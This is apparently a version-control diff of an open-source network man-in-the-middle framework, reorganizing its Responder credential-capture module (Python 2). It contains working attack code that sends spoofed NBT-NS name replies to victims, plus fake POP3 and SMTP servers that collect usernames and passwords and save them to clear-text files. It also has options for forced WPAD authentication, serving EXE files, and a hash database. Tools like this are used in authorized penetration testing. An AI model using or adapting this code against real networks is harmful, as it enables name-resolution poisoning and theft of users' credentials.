("AdditionalRRS", "\x00\x00"),
("NbtName", ""),
("Type", "\x00\x20"),
("Classy", "\x00\x01"),
("TTL", "\x00\x00\x00\xa5"),
("Len", "\x00\x06"),
("Flags1", "\x00\x00"),
("IP", "\x00\x00\x00\x00"),
])
def calculate(self,data):
self.fields["Tid"] = data[0:2]
self.fields["NbtName"] = data[12:46]
self.fields["IP"] = socket.inet_aton(OURIP)
def NBT_NS_Role(data):
Role = {
"\x41\x41\x00":"Workstation/Redirector Service",
"\x42\x4c\x00":"Domain Master Browser",
"\x42\x4d\x00":"Domain controller service",
"\x42\x4e\x00":"Local Master Browser",
"\x42\x4f\x00":"Browser Election Service",
"\x43\x41\x00":"File Server Service",
"\x41\x42\x00":"Browser Service",
}
if data in Role:
return Role[data]
else:
return "Service not known."
# Define what are we answering to.
def Validate_NBT_NS(data,Wredirect):
if args.analyze:
return False
if NBT_NS_Role(data[43:46]) == "File Server Service.":
return True
if args.nbtns == True:
if NBT_NS_Role(data[43:46]) == "Domain controller service. This name is a domain controller.":
return True
if Wredirect == True:
if NBT_NS_Role(data[43:46]) == "Workstation/Redirector Service.":
return True
else:
return False
def Decode_Name(nbname):
#From http://code.google.com/p/dpkt/ with author's permission.
try:
if len(nbname) != 32:
return nbname
l = []
for i in range(0, 32, 2):
l.append(chr(((ord(nbname[i]) - 0x41) << 4) |
((ord(nbname[i+1]) - 0x41) & 0xf)))
return filter(lambda x: x in string.printable, ''.join(l).split('\x00', 1)[0].replace(' ', ''))
except Exception, e:
log.debug("Error parsing NetBIOS name: {}".format(e))
return "Illegal NetBIOS name"
# NBT_NS Server class.
class NB(BaseRequestHandler):
def handle(self):
ResponderConfig = ConfigWatcher().config['Responder']
DontRespondTo = ResponderConfig['DontRespondTo']
DontRespondToName = ResponderConfig['DontRespondToName']
RespondTo = ResponderConfig['RespondTo']
RespondToName = ResponderConfig['RespondToName']
data, socket = self.request
Name = Decode_Name(data[13:45])
if DontRespondToSpecificHost(DontRespondTo):
if RespondToIPScope(DontRespondTo, self.client_address[0]):
return None
if DontRespondToSpecificName(DontRespondToName) and DontRespondToNameScope(DontRespondToName.upper(), Name.upper()):
return None
if args.analyze:
if data[2:4] == "\x01\x10":
if args.finger:
try:
Finger = RunSmbFinger((self.client_address[0],445))
log.warning("{} is looking for: {} | Service requested: {} | OS: {} | Client Version: {}".format(self.client_address[0], Name,NBT_NS_Role(data[43:46]),Finger[0],Finger[1]))
except Exception:
log.warning("{} is looking for: {} | Service requested is: {}".format(self.client_address[0], Name, NBT_NS_Role(data[43:46])))
else:
log.warning("{} is looking for: {} | Service requested is: {}".format(self.client_address[0], Name, NBT_NS_Role(data[43:46])))
if RespondToSpecificHost(RespondTo) and args.analyze == False:
if RespondToIPScope(RespondTo, self.client_address[0]):
if data[2:4] == "\x01\x10":
if Validate_NBT_NS(data,args.wredir):
if RespondToSpecificName(RespondToName) == False:
buff = NBT_Ans()
buff.calculate(data)
for x in range(1):
socket.sendto(str(buff), self.client_address)
log.warning('Poisoned answer sent to {} the requested name was: {}'.format(self.client_address[0], Name))
if args.finger:
try:
Finger = RunSmbFinger((self.client_address[0],445))
log.info("OS: {} | ClientVersion: {}".format(Finger[0],Finger[1]))
except Exception:
log.info('Fingerprint failed for host: %s'%(self.client_address[0]))
pass
if RespondToSpecificName(RespondToName) and RespondToNameScope(RespondToName.upper(), Name.upper()):
buff = NBT_Ans()
buff.calculate(data)
for x in range(1):
socket.sendto(str(buff), self.client_address)
log.warning('Poisoned answer sent to {} the requested name was: {}'.format(self.client_address[0], Name))
if args.finger:
try:
Finger = RunSmbFinger((self.client_address[0],445))
log.info("OS: {} | ClientVersion: {}".format(Finger[0],Finger[1]))
except Exception:
log.info('Fingerprint failed for host: %s'%(self.client_address[0]))
pass
else:
pass
else:
pass
else:
if data[2:4] == "\x01\x10":
if Validate_NBT_NS(data,args.wredir) and args.analyze == False:
if RespondToSpecificName(RespondToName) and RespondToNameScope(RespondToName.upper(), Name.upper()):
buff = NBT_Ans()
buff.calculate(data)
for x in range(1):
socket.sendto(str(buff), self.client_address)
log.warning('Poisoned answer sent to {} the requested name was: {}'.format(self.client_address[0], Name))
if args.finger:
try:
Finger = RunSmbFinger((self.client_address[0],445))
log.info("OS: {} | ClientVersion: {}".format(Finger[0],Finger[1]))
except Exception:
log.info('Fingerprint failed for host: %s'%(self.client_address[0]))
pass
if RespondToSpecificName(RespondToName) == False:
buff = NBT_Ans()
buff.calculate(data)
for x in range(1):
socket.sendto(str(buff), self.client_address)
log.warning('Poisoned answer sent to {} the requested name was: {}'.format(self.client_address[0], Name))
if args.finger:
try:
Finger = RunSmbFinger((self.client_address[0],445))
log.info("OS: {} | ClientVersion: {}".format(Finger[0],Finger[1]))
except Exception:
log.info('Fingerprint failed for host: %s'%(self.client_address[0]))
pass
else:
pass

View file

@ -1,6 +1,6 @@
# NBT-NS/LLMNR Responder
# Created by Laurent Gaffie
# Copyright (C) 2014 Trustwave Holdings, Inc.
#!/usr/bin/env python
# This file is part of Responder
# Original work by Laurent Gaffie - Trustwave Holdings
#
# This program is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
@ -11,12 +11,9 @@
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
#
#
# You should have received a copy of the GNU General Public License
# along with this program. If not, see <http://www.gnu.org/licenses/>.
#Packet class handling all packet generation (see odict.py).
from UserDict import DictMixin
class OrderedDict(dict, DictMixin):

View file

@ -1,34 +0,0 @@
# NBT-NS/LLMNR Responder
# Created by Laurent Gaffie
# Copyright (C) 2014 Trustwave Holdings, Inc.
#
# This program is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program. If not, see <http://www.gnu.org/licenses/>.
#Packet class handling all packet generation (see odict.py).
from odict import OrderedDict
class Packet():
fields = OrderedDict([
("data", ""),
])
def __init__(self, **kw):
self.fields = OrderedDict(self.__class__.fields)
for k,v in kw.items():
if callable(v):
self.fields[k] = v(self.fields[k])
else:
self.fields[k] = v
def __str__(self):
return "".join(map(str, self.fields.values()))

1277
core/responder/packets.py Normal file

File diff suppressed because it is too large Load diff

View file

@ -1,65 +0,0 @@
import logging
import threading
from SocketServer import TCPServer, ThreadingMixIn, BaseRequestHandler
from core.responder.common import *
from core.responder.odict import OrderedDict
from core.responder.packet import Packet
from core.logger import logger
formatter = logging.Formatter("%(asctime)s [POP3server] %(message)s", datefmt="%Y-%m-%d %H:%M:%S")
log = logger().setup_logger("POP3server", formatter)
class POP3server():
def start(self):
try:
log.debug("online")
server = ThreadingTCPServer(("0.0.0.0", 110), POP)
t = threading.Thread(name="POP3server", target=server.serve_forever)
t.setDaemon(True)
t.start()
except Exception as e:
log.error("Error starting on port {}: {}".format(110, e))
class ThreadingTCPServer(ThreadingMixIn, TCPServer):
allow_reuse_address = 1
def server_bind(self):
TCPServer.server_bind(self)
class POPOKPacket(Packet):
fields = OrderedDict([
("Code", "+OK"),
("CRLF", "\r\n"),
])
#POP3 server class.
class POP(BaseRequestHandler):
def handle(self):
try:
self.request.send(str(POPOKPacket()))
data = self.request.recv(1024)
if data[0:4] == "USER":
User = data[5:].replace("\r\n","")
log.info('POP3 User: %s'%(User))
t = POPOKPacket()
self.request.send(str(t))
data = self.request.recv(1024)
if data[0:4] == "PASS":
Pass = data[5:].replace("\r\n","")
Outfile = "./logs/responder/POP3-Clear-Text-Password-"+self.client_address[0]+".txt"
WriteData(Outfile,User+":"+Pass, User+":"+Pass)
log.info("POP3 Credentials from {}. User/Pass: {}:{} ".format(self.client_address[0],User,Pass))
t = POPOKPacket()
self.request.send(str(t))
data = self.request.recv(1024)
else :
t = POPOKPacket()
self.request.send(str(t))
data = self.request.recv(1024)
except Exception as e:
log.error("Error handling request: {}".format(e))

192
core/responder/settings.py Normal file
View file

@ -0,0 +1,192 @@
#!/usr/bin/env python
# This file is part of Responder
# Original work by Laurent Gaffie - Trustwave Holdings
#
# This program is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program. If not, see <http://www.gnu.org/licenses/>.
import os
import sys
import socket
import utils
import logging
from core.configwatcher import ConfigWatcher
__version__ = 'Responder 2.2'
class Settings(ConfigWatcher):
def __init__(self):
self.ResponderPATH = os.path.dirname(__file__)
self.Bind_To = '0.0.0.0'
def __str__(self):
ret = 'Settings class:\n'
for attr in dir(self):
value = str(getattr(self, attr)).strip()
ret += " Settings.%s = %s\n" % (attr, value)
return ret
def toBool(self, str):
return True if str.upper() == 'ON' else False
def ExpandIPRanges(self):
def expand_ranges(lst):
ret = []
for l in lst:
tab = l.split('.')
x = {}
i = 0
for byte in tab:
if '-' not in byte:
x[i] = x[i+1] = int(byte)
else:
b = byte.split('-')
x[i] = int(b[0])
x[i+1] = int(b[1])
i += 2
for a in range(x[0], x[1]+1):
for b in range(x[2], x[3]+1):
for c in range(x[4], x[5]+1):
for d in range(x[6], x[7]+1):
ret.append('%d.%d.%d.%d' % (a, b, c, d))
return ret
self.RespondTo = expand_ranges(self.RespondTo)
self.DontRespondTo = expand_ranges(self.DontRespondTo)
def populate(self, options):
# Servers
self.SSL_On_Off = self.toBool(self.config['Responder']['HTTPS'])
self.SQL_On_Off = self.toBool(self.config['Responder']['SQL'])
self.FTP_On_Off = self.toBool(self.config['Responder']['FTP'])
self.POP_On_Off = self.toBool(self.config['Responder']['POP'])
self.IMAP_On_Off = self.toBool(self.config['Responder']['IMAP'])
self.SMTP_On_Off = self.toBool(self.config['Responder']['SMTP'])
self.LDAP_On_Off = self.toBool(self.config['Responder']['LDAP'])
self.Krb_On_Off = self.toBool(self.config['Responder']['Kerberos'])
# Db File
self.DatabaseFile = './logs/responder/Responder.db'
# Log Files
self.LogDir = './logs/responder'
if not os.path.exists(self.LogDir):
os.mkdir(self.LogDir)
self.SessionLogFile = os.path.join(self.LogDir, 'Responder-Session.log')
self.PoisonersLogFile = os.path.join(self.LogDir, 'Poisoners-Session.log')
self.AnalyzeLogFile = os.path.join(self.LogDir, 'Analyzer-Session.log')
self.FTPLog = os.path.join(self.LogDir, 'FTP-Clear-Text-Password-%s.txt')
self.IMAPLog = os.path.join(self.LogDir, 'IMAP-Clear-Text-Password-%s.txt')
self.POP3Log = os.path.join(self.LogDir, 'POP3-Clear-Text-Password-%s.txt')
self.HTTPBasicLog = os.path.join(self.LogDir, 'HTTP-Clear-Text-Password-%s.txt')
self.LDAPClearLog = os.path.join(self.LogDir, 'LDAP-Clear-Text-Password-%s.txt')
self.SMBClearLog = os.path.join(self.LogDir, 'SMB-Clear-Text-Password-%s.txt')
self.SMTPClearLog = os.path.join(self.LogDir, 'SMTP-Clear-Text-Password-%s.txt')
self.MSSQLClearLog = os.path.join(self.LogDir, 'MSSQL-Clear-Text-Password-%s.txt')
self.LDAPNTLMv1Log = os.path.join(self.LogDir, 'LDAP-NTLMv1-Client-%s.txt')
self.HTTPNTLMv1Log = os.path.join(self.LogDir, 'HTTP-NTLMv1-Client-%s.txt')
self.HTTPNTLMv2Log = os.path.join(self.LogDir, 'HTTP-NTLMv2-Client-%s.txt')
self.KerberosLog = os.path.join(self.LogDir, 'MSKerberos-Client-%s.txt')
self.MSSQLNTLMv1Log = os.path.join(self.LogDir, 'MSSQL-NTLMv1-Client-%s.txt')
self.MSSQLNTLMv2Log = os.path.join(self.LogDir, 'MSSQL-NTLMv2-Client-%s.txt')
self.SMBNTLMv1Log = os.path.join(self.LogDir, 'SMB-NTLMv1-Client-%s.txt')
self.SMBNTLMv2Log = os.path.join(self.LogDir, 'SMB-NTLMv2-Client-%s.txt')
self.SMBNTLMSSPv1Log = os.path.join(self.LogDir, 'SMB-NTLMSSPv1-Client-%s.txt')
self.SMBNTLMSSPv2Log = os.path.join(self.LogDir, 'SMB-NTLMSSPv2-Client-%s.txt')
# HTTP Options
self.Serve_Exe = self.toBool(self.config['Responder']['HTTP Server']['Serve-Exe'])
self.Serve_Always = self.toBool(self.config['Responder']['HTTP Server']['Serve-Always'])
self.Serve_Html = self.toBool(self.config['Responder']['HTTP Server']['Serve-Html'])
self.Html_Filename = self.config['Responder']['HTTP Server']['HtmlFilename']
self.Exe_Filename = self.config['Responder']['HTTP Server']['ExeFilename']
self.Exe_DlName = self.config['Responder']['HTTP Server']['ExeDownloadName']
self.WPAD_Script = self.config['Responder']['HTTP Server']['WPADScript']
if not os.path.exists(self.Html_Filename):
print utils.color("/!\ Warning: %s: file not found" % self.Html_Filename, 3, 1)
if not os.path.exists(self.Exe_Filename):
print utils.color("/!\ Warning: %s: file not found" % self.Exe_Filename, 3, 1)
# SSL Options
self.SSLKey = self.config['Responder']['HTTPS Server']['SSLKey']
self.SSLCert = self.config['Responder']['HTTPS Server']['SSLCert']
# Respond to hosts
self.RespondTo = filter(None, [x.upper().strip() for x in self.config['Responder']['RespondTo'].strip().split(',')])
self.RespondToName = filter(None, [x.upper().strip() for x in self.config['Responder']['RespondToName'].strip().split(',')])
self.DontRespondTo = filter(None, [x.upper().strip() for x in self.config['Responder']['DontRespondTo'].strip().split(',')])
self.DontRespondToName = filter(None, [x.upper().strip() for x in self.config['Responder']['DontRespondToName'].strip().split(',')])
# CLI options
self.Interface = options.interface
try:
self.LM_On_Off = options.LM_On_Off
self.WPAD_On_Off = options.WPAD_On_Off
self.Wredirect = options.Wredirect
self.NBTNSDomain = options.NBTNSDomain
self.Basic = options.Basic
self.Finger_On_Off = options.Finger
self.Force_WPAD_Auth = options.Force_WPAD_Auth
self.Upstream_Proxy = options.Upstream_Proxy
self.AnalyzeMode = options.Analyze
except AttributeError:
pass
self.Verbose = False
self.CommandLine = str(sys.argv)
self.Bind_To = utils.FindLocalIP(self.Interface)
self.IP_aton = socket.inet_aton(self.Bind_To)
self.Os_version = sys.platform
# Set up Challenge
self.NumChal = self.config['Responder']['Challenge']
if len(self.NumChal) is not 16:
print utils.color("[!] The challenge must be exactly 16 chars long.\nExample: 1122334455667788", 1)
sys.exit(-1)
self.Challenge = ""
for i in range(0, len(self.NumChal),2):
self.Challenge += self.NumChal[i:i+2].decode("hex")
# Set up logging
logging.basicConfig(filename=self.SessionLogFile, level=logging.INFO, format='%(asctime)s - %(message)s', datefmt='%Y-%m-%d %H:%M:%S')
logging.warning('Responder Started: {}'.format(self.CommandLine))
#logging.warning('Responder Config: {}'.format(self))
Formatter = logging.Formatter('%(asctime)s - %(message)s')
PLog_Handler = logging.FileHandler(self.PoisonersLogFile, 'w')
ALog_Handler = logging.FileHandler(self.AnalyzeLogFile, 'a')
PLog_Handler.setLevel(logging.INFO)
ALog_Handler.setLevel(logging.INFO)
PLog_Handler.setFormatter(Formatter)
ALog_Handler.setFormatter(Formatter)
self.PoisonersLogger = logging.getLogger('Poisoners Log')
self.PoisonersLogger.addHandler(PLog_Handler)
self.AnalyzeLogger = logging.getLogger('Analyze Log')
self.AnalyzeLogger.addHandler(ALog_Handler)
global Config
Config = Settings()

View file

@ -1,61 +0,0 @@
#! /usr/bin/env python
# NBT-NS/LLMNR Responder
# Created by Laurent Gaffie
# Copyright (C) 2014 Trustwave Holdings, Inc.
#
# This program is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program. If not, see <http://www.gnu.org/licenses/>.
import struct
from core.responder.odict import OrderedDict
from core.responder.packet import Packet
#SMTP Greating class
class SMTPGreating(Packet):
fields = OrderedDict([
("Code", "220"),
("Separator", "\x20"),
("Message", "smtp01.local ESMTP"),
("CRLF", "\x0d\x0a"),
])
class SMTPAUTH(Packet):
fields = OrderedDict([
("Code0", "250"),
("Separator0", "\x2d"),
("Message0", "smtp01.local"),
("CRLF0", "\x0d\x0a"),
("Code", "250"),
("Separator", "\x20"),
("Message", "AUTH LOGIN PLAIN XYMCOOKIE"),
("CRLF", "\x0d\x0a"),
])
class SMTPAUTH1(Packet):
fields = OrderedDict([
("Code", "334"),
("Separator", "\x20"),
("Message", "VXNlcm5hbWU6"),#Username
("CRLF", "\x0d\x0a"),
])
class SMTPAUTH2(Packet):
fields = OrderedDict([
("Code", "334"),
("Separator", "\x20"),
("Message", "UGFzc3dvcmQ6"),#Password
("CRLF", "\x0d\x0a"),
])

View file

@ -1,64 +0,0 @@
import logging
import threading
from SocketServer import TCPServer, ThreadingMixIn, BaseRequestHandler
from base64 import b64decode
from SMTPPackets import *
from core.responder.common import *
from core.logger import logger
formatter = logging.Formatter("%(asctime)s [SMTPserver] %(message)s", datefmt="%Y-%m-%d %H:%M:%S")
log = logger().setup_logger("SMTPserver", formatter)
class SMTPserver():
def serve_thread_tcp(self, port):
try:
server = ThreadingTCPServer(("0.0.0.0", port), ESMTP)
server.serve_forever()
except Exception as e:
log.error("Error starting TCP server on port {}: {}".format(port, e))
#Function name self-explanatory
def start(self):
log.debug("online")
t1 = threading.Thread(name="ESMTP-25", target=self.serve_thread_tcp, args=(25,))
t2 = threading.Thread(name="ESMTP-587", target=self.serve_thread_tcp, args=(587,))
for t in [t1, t2]:
t.setDaemon(True)
t.start()
class ThreadingTCPServer(ThreadingMixIn, TCPServer):
allow_reuse_address = 1
def server_bind(self):
TCPServer.server_bind(self)
#ESMTP server class.
class ESMTP(BaseRequestHandler):
def handle(self):
try:
self.request.send(str(SMTPGreating()))
data = self.request.recv(1024)
if data[0:4] == "EHLO":
self.request.send(str(SMTPAUTH()))
data = self.request.recv(1024)
if data[0:4] == "AUTH":
self.request.send(str(SMTPAUTH1()))
data = self.request.recv(1024)
if data:
Username = b64decode(data[:len(data)-2])
self.request.send(str(SMTPAUTH2()))
data = self.request.recv(1024)
if data:
Password = b64decode(data[:len(data)-2])
Outfile = "./logs/responder/SMTP-Clear-Text-Password-"+self.client_address[0]+".txt"
WriteData(Outfile,Username+":"+Password, Username+":"+Password)
#print "[+]SMTP Credentials from %s. User/Pass: %s:%s "%(self.client_address[0],Username,Password)
log.info("{} SMTP User: {} Pass:{} ".format(self.client_address[0],Username,Password))
except Exception as e:
log.error("Error handling request: {}".format(e))

358
core/responder/utils.py Normal file
View file

@ -0,0 +1,358 @@
#!/usr/bin/env python
# This file is part of Responder
# Original work by Laurent Gaffie - Trustwave Holdings
#
# This program is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program. If not, see <http://www.gnu.org/licenses/>.
import os
import sys
import re
import logging
import socket
import time
import settings
try:
import sqlite3
except:
print "[!] Please install python-sqlite3 extension."
sys.exit(0)
def color(txt, code = 1, modifier = 0):
if txt.startswith('[*]'):
settings.Config.PoisonersLogger.warning(txt)
elif 'Analyze' in txt:
settings.Config.AnalyzeLogger.warning(txt)
# No colors for windows...
if os.name == 'nt':
return txt
return "\033[%d;3%dm%s\033[0m" % (modifier, code, txt)
def text(txt):
logging.info(txt)
if os.name == 'nt':
return txt
return '\r'+re.sub(r'\[([^]]*)\]', "\033[1;34m[\\1]\033[0m", txt)
def RespondToThisIP(ClientIp):
if ClientIp.startswith('127.0.0.'):
return False
if len(settings.Config.RespondTo) and ClientIp not in settings.Config.RespondTo:
return False
if ClientIp in settings.Config.RespondTo or settings.Config.RespondTo == []:
if ClientIp not in settings.Config.DontRespondTo:
return True
return False
def RespondToThisName(Name):
if len(settings.Config.RespondToName) and Name.upper() not in settings.Config.RespondToName:
return False
if Name.upper() in settings.Config.RespondToName or settings.Config.RespondToName == []:
if Name.upper() not in settings.Config.DontRespondToName:
return True
return False
def RespondToThisHost(ClientIp, Name):
return (RespondToThisIP(ClientIp) and RespondToThisName(Name))
def IsOsX():
return True if settings.Config.Os_version == "darwin" else False
def OsInterfaceIsSupported():
if settings.Config.Interface != "Not set":
return False if IsOsX() else True
else:
return False
def FindLocalIP(Iface):
if Iface == 'ALL':
return '0.0.0.0'
try:
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
s.setsockopt(socket.SOL_SOCKET, 25, Iface+'\0')
s.connect(("127.0.0.1",9))#RFC 863
ret = s.getsockname()[0]
s.close()
return ret
except socket.error:
print color("[!] Error: %s: Interface not found" % Iface, 1)
sys.exit(-1)
# Function used to write captured hashs to a file.
def WriteData(outfile, data, user):
logging.info("[*] Captured Hash: %s" % data)
if os.path.isfile(outfile) == False:
with open(outfile,"w") as outf:
outf.write(data)
outf.write("\n")
outf.close()
else:
with open(outfile,"r") as filestr:
if re.search(user.encode('hex'), filestr.read().encode('hex')):
filestr.close()
return False
if re.search(re.escape("$"), user):
filestr.close()
return False
with open(outfile,"a") as outf2:
outf2.write(data)
outf2.write("\n")
outf2.close()
def SaveToDb(result):
# Creating the DB if it doesn't exist
if not os.path.exists(settings.Config.DatabaseFile):
cursor = sqlite3.connect(settings.Config.DatabaseFile)
cursor.execute('CREATE TABLE responder (timestamp varchar(32), module varchar(16), type varchar(16), client varchar(32), hostname varchar(32), user varchar(32), cleartext varchar(128), hash varchar(512), fullhash varchar(512))')
cursor.commit()
cursor.close()
for k in [ 'module', 'type', 'client', 'hostname', 'user', 'cleartext', 'hash', 'fullhash' ]:
if not k in result:
result[k] = ''
if len(result['user']) < 2:
return
if len(result['cleartext']):
fname = '%s-%s-ClearText-%s.txt' % (result['module'], result['type'], result['client'])
else:
fname = '%s-%s-%s.txt' % (result['module'], result['type'], result['client'])
timestamp = time.strftime("%d-%m-%Y %H:%M:%S")
logfile = os.path.join('./logs/responder', fname)
cursor = sqlite3.connect(settings.Config.DatabaseFile)
res = cursor.execute("SELECT COUNT(*) AS count FROM responder WHERE module=? AND type=? AND LOWER(user)=LOWER(?)", (result['module'], result['type'], result['user']))
(count,) = res.fetchone()
if count == 0:
# Write JtR-style hash string to file
with open(logfile,"a") as outf:
outf.write(result['fullhash'])
outf.write("\n")
outf.close()
# Update database
cursor.execute("INSERT INTO responder VALUES(?, ?, ?, ?, ?, ?, ?, ?, ?)", (timestamp, result['module'], result['type'], result['client'], result['hostname'], result['user'], result['cleartext'], result['hash'], result['fullhash']))
cursor.commit()
cursor.close()
# Print output
if count == 0 or settings.Config.Verbose:
if len(result['client']):
print text("[%s] %s Client : %s" % (result['module'], result['type'], color(result['client'], 3)))
if len(result['hostname']):
print text("[%s] %s Hostname : %s" % (result['module'], result['type'], color(result['hostname'], 3)))
if len(result['user']):
print text("[%s] %s Username : %s" % (result['module'], result['type'], color(result['user'], 3)))
# Bu order of priority, print cleartext, fullhash, or hash
if len(result['cleartext']):
print text("[%s] %s Password : %s" % (result['module'], result['type'], color(result['cleartext'], 3)))
elif len(result['fullhash']):
print text("[%s] %s Hash : %s" % (result['module'], result['type'], color(result['fullhash'], 3)))
elif len(result['hash']):
print text("[%s] %s Hash : %s" % (result['module'], result['type'], color(result['hash'], 3)))
else:
print color('[*]', 2, 1), 'Skipping previously captured hash for %s' % result['user']
def Parse_IPV6_Addr(data):
if data[len(data)-4:len(data)][1] =="\x1c":
return False
elif data[len(data)-4:len(data)] == "\x00\x01\x00\x01":
return True
elif data[len(data)-4:len(data)] == "\x00\xff\x00\x01":
return True
else:
return False
def Decode_Name(nbname):
#From http://code.google.com/p/dpkt/ with author's permission.
try:
from string import printable
if len(nbname) != 32:
return nbname
l = []
for i in range(0, 32, 2):
l.append(chr(((ord(nbname[i]) - 0x41) << 4) | ((ord(nbname[i+1]) - 0x41) & 0xf)))
return filter(lambda x: x in printable, ''.join(l).split('\x00', 1)[0].replace(' ', ''))
except:
return "Illegal NetBIOS name"
def NBT_NS_Role(data):
Role = {
"\x41\x41\x00":"Workstation/Redirector",
"\x42\x4c\x00":"Domain Master Browser",
"\x42\x4d\x00":"Domain Controller",
"\x42\x4e\x00":"Local Master Browser",
"\x42\x4f\x00":"Browser Election",
"\x43\x41\x00":"File Server",
"\x41\x42\x00":"Browser",
}
return Role[data] if data in Role else "Service not known"
def banner():
banner = "\n".join([
' __',
' .----.-----.-----.-----.-----.-----.--| |.-----.----.',
' | _| -__|__ --| _ | _ | | _ || -__| _|',
' |__| |_____|_____| __|_____|__|__|_____||_____|__|',
' |__|'
])
print banner
print "\n \033[1;33mNBT-NS, LLMNR & MDNS %s\033[0m" % settings.__version__
print ""
print " Original work by Laurent Gaffie (lgaffie@trustwave.com)"
print " To kill this script hit CRTL-C"
print ""
def StartupMessage():
enabled = color('[ON]', 2, 1)
disabled = color('[OFF]', 1, 1)
print ""
print color("[+] ", 2, 1) + "Poisoners:"
print ' %-27s' % "LLMNR" + enabled
print ' %-27s' % "NBT-NS" + enabled
print ' %-27s' % "DNS/MDNS" + enabled
print ""
print color("[+] ", 2, 1) + "Servers:"
print ' %-27s' % "HTTP server" + (enabled if settings.Config.HTTP_On_Off else disabled)
print ' %-27s' % "HTTPS server" + (enabled if settings.Config.SSL_On_Off else disabled)
print ' %-27s' % "WPAD proxy" + (enabled if settings.Config.WPAD_On_Off else disabled)
print ' %-27s' % "SMB server" + (enabled if settings.Config.SMB_On_Off else disabled)
print ' %-27s' % "Kerberos server" + (enabled if settings.Config.Krb_On_Off else disabled)
print ' %-27s' % "SQL server" + (enabled if settings.Config.SQL_On_Off else disabled)
print ' %-27s' % "FTP server" + (enabled if settings.Config.FTP_On_Off else disabled)
print ' %-27s' % "IMAP server" + (enabled if settings.Config.IMAP_On_Off else disabled)
print ' %-27s' % "POP3 server" + (enabled if settings.Config.POP_On_Off else disabled)
print ' %-27s' % "SMTP server" + (enabled if settings.Config.SMTP_On_Off else disabled)
print ' %-27s' % "DNS server" + (enabled if settings.Config.DNS_On_Off else disabled)
print ' %-27s' % "LDAP server" + (enabled if settings.Config.LDAP_On_Off else disabled)
print ""
print color("[+] ", 2, 1) + "HTTP Options:"
print ' %-27s' % "Always serving EXE" + (enabled if settings.Config.Serve_Always else disabled)
print ' %-27s' % "Serving EXE" + (enabled if settings.Config.Serve_Exe else disabled)
print ' %-27s' % "Serving HTML" + (enabled if settings.Config.Serve_Html else disabled)
print ' %-27s' % "Upstream Proxy" + (enabled if settings.Config.Upstream_Proxy else disabled)
#print ' %-27s' % "WPAD script" + settings.Config.WPAD_Script
print ""
print color("[+] ", 2, 1) + "Poisoning Options:"
print ' %-27s' % "Analyze Mode" + (enabled if settings.Config.AnalyzeMode else disabled)
print ' %-27s' % "Force WPAD auth" + (enabled if settings.Config.Force_WPAD_Auth else disabled)
print ' %-27s' % "Force Basic Auth" + (enabled if settings.Config.Basic else disabled)
print ' %-27s' % "Force LM downgrade" + (enabled if settings.Config.LM_On_Off == True else disabled)
print ' %-27s' % "Fingerprint hosts" + (enabled if settings.Config.Finger_On_Off == True else disabled)
print ""
print color("[+] ", 2, 1) + "Generic Options:"
print ' %-27s' % "Responder NIC" + color('[%s]' % settings.Config.Interface, 5, 1)
print ' %-27s' % "Responder IP" + color('[%s]' % settings.Config.Bind_To, 5, 1)
print ' %-27s' % "Challenge set" + color('[%s]' % settings.Config.NumChal, 5, 1)
if settings.Config.Upstream_Proxy:
print ' %-27s' % "Upstream Proxy" + color('[%s]' % settings.Config.Upstream_Proxy, 5, 1)
if len(settings.Config.RespondTo):
print ' %-27s' % "Respond To" + color(str(settings.Config.RespondTo), 5, 1)
if len(settings.Config.RespondToName):
print ' %-27s' % "Respond To Names" + color(str(settings.Config.RespondToName), 5, 1)
if len(settings.Config.DontRespondTo):
print ' %-27s' % "Don't Respond To" + color(str(settings.Config.DontRespondTo), 5, 1)
if len(settings.Config.DontRespondToName):
print ' %-27s' % "Don't Respond To Names" + color(str(settings.Config.DontRespondToName), 5, 1)
print ""
print ""
# Useful for debugging
def hexdump(src, l=0x16):
res = []
sep = '.'
src = str(src)
for i in range(0, len(src), l):
s = src[i:i+l]
hexa = ''
for h in range(0,len(s)):
if h == l/2:
hexa += ' '
h = s[h]
if not isinstance(h, int):
h = ord(h)
h = hex(h).replace('0x','')
if len(h) == 1:
h = '0'+h
hexa += h + ' '
hexa = hexa.strip(' ')
text = ''
for c in s:
if not isinstance(c, int):
c = ord(c)
if 0x20 <= c < 0x7F:
text += chr(c)
else:
text += sep
res.append(('%08X: %-'+str(l*(2+1)+1)+'s |%s|') % (i, hexa, text))
return '\n'.join(res)

View file

@ -1,13 +0,0 @@
Originally, sergio-proxy was a standalone implementation of a
transparent proxy using the Twisted networking framework
for Python. However, sslstrip uses almost *exactly* the
same interception method, so I decided to use sslstrip's
more mature libraries and try to provide a simple plugin
interface to grab the data.
The only file that has been modified from sslstrip is the
ServerConnection.py file, from which we can hook at certain
important points during the intercept.
Copyright 2011, Ben Schmidt
Released under the GPLv3

205
core/servers/Browser.py Normal file
View file

@ -0,0 +1,205 @@
#!/usr/bin/env python
# This file is part of Responder
